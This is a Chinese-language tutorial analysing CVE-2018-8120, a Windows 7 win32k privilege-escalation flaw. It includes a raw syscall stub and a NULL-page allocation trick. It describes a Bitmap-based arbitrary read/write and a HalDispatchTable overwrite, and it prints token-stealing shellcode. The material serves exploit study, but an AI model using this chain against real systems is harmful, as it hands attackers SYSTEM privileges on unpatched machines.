CVE-2018-8120分析与利用
字数 1630 2025-08-19 12:42:04
CVE-2018-8120 Windows提权漏洞分析与利用教程
1. 漏洞概述
CVE-2018-8120是Windows 7及Windows Server 2008系列中的一个经典本地提权漏洞,存在于SetImeInfoEx函数中。该漏洞允许攻击者通过精心构造的输入实现内核任意地址写入,最终可提升至SYSTEM权限。
2. 环境准备
- 测试环境:Windows 7 x86虚拟机(VMware)
- 调试工具:Windbg
- 必要知识:Windows内核基础、Win32 API编程
3. 漏洞分析
3.1 漏洞位置
漏洞存在于win32k.sys驱动中的SetImeInfoEx函数:
void SetImeInfoEx(HWINSTA pWinStation, char* pInput)
{
// 漏洞点:未验证pWinStation[5]是否合法就直接访问
if (pWinStation[5]) {
qmemcpy(pWinStation[5] + 0x2c, pInput + 0x14, 0x54);
}
}
3.2 调用链分析
- 系统调用
NtUserSetImeInfoEx调用SetImeInfoEx SetImeInfoEx的第一个参数来自GetProcessWindowsStationpWinStation是Window Station的Handle(内核对象引用)
3.3 关键结构
- Window Station对象:
spklList成员默认为NULL(偏移0x14) - 当
pWinStation[5]为NULL时,直接访问会导致内核空指针解引用
4. 漏洞利用开发
4.1 基础POC构造
由于NtUserSetImeInfoEx未公开导出,需要手动实现系统调用:
// Windows 7 x86系统调用号为0x1228
__declspec(naked) NTSTATUS __stdcall NtUserSetImeInfoEx(PVOID pInput)
{
__asm {
mov eax, 0x1228
lea edx, [esp+4]
int 0x2e
ret 4
}
}
4.2 NULL地址分配技巧
利用NtAllocateVirtualMemory分配包含NULL的地址空间:
PVOID BaseAddress = (PVOID)0x1;
SIZE_T RegionSize = 0x1000;
NtAllocateVirtualMemory(
GetCurrentProcess(),
&BaseAddress,
0,
&RegionSize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE
);
4.3 任意地址写构造
通过控制输入数据,实现任意地址写入:
- 在NULL+0x14处构造目标地址
- 在NULL+0x2c处构造写入数据
- 触发
qmemcpy实现写入
限制:目标地址+0x18必须为0
5. 提权技术实现
5.1 Token替换原理
Windows进程权限由_EPROCESS结构中的Token控制:
- Token偏移:0xF8(Win7 x86)
- 替换当前进程Token为SYSTEM进程Token即可提权
5.2 Bitmap技术利用
由于直接获取SYSTEM Token困难,使用Bitmap技术实现任意地址读:
-
Bitmap结构关键成员:
pvScan0:指向像素数据的指针(用户/内核共享)- 通过GDI共享句柄表可计算内核地址
-
利用步骤:
- 创建两个Bitmap(Manager/Worker)
- 获取它们的
pvScan0内核地址 - 利用漏洞修改Manager的
pvScan0指向Worker的pvScan0 - 通过SetBitmapBits修改Worker的
pvScan0指向目标地址 - 最终实现任意地址读写
5.3 代码执行路径
通过覆盖HalDispatchTable函数指针实现代码执行:
- 定位
hal!HaliQuerySystemInformation(HalDispatchTable+0x4) - 覆盖为Shellcode地址
- 触发
NtQueryIntervalProfile执行Shellcode
6. 完整利用流程
- 分配NULL地址空间并布置数据
- 创建Manager/Worker Bitmap
- 计算Bitmap内核地址
- 利用漏洞实现任意地址写能力
- 修改HalDispatchTable函数指针
- 部署提权Shellcode
- 触发执行获取SYSTEM权限
7. 提权Shellcode示例
; Windows 7 x86提权Shellcode
pushad
mov eax, fs:[0x124] ; 获取_KTHREAD
mov eax, [eax+0x150] ; 获取_EPROCESS
mov ecx, eax
SearchSystemProcess:
mov eax, [eax+0xb8] ; ActiveProcessLinks.Flink
sub eax, 0xb8
cmp [eax+0xb4], 0x4 ; UniqueProcessId是否为4(SYSTEM)
jnz SearchSystemProcess
mov edx, [eax+0xf8] ; SYSTEM Token
mov [ecx+0xf8], edx ; 替换当前进程Token
popad
ret
8. 防御与缓解
- 安装微软官方补丁
- 启用内核ASLR
- 限制用户模式到内核模式的调用
- 监控异常的内核内存访问
9. 参考资源
- Windows内核结构文档
- ReactOS源码参考
- MSDN GDI/Window Station API文档
- Windows系统调用表
通过本教程,您已全面了解CVE-2018-8120漏洞从分析到利用的全过程。实际利用时请注意测试环境稳定性,并确保符合法律法规要求。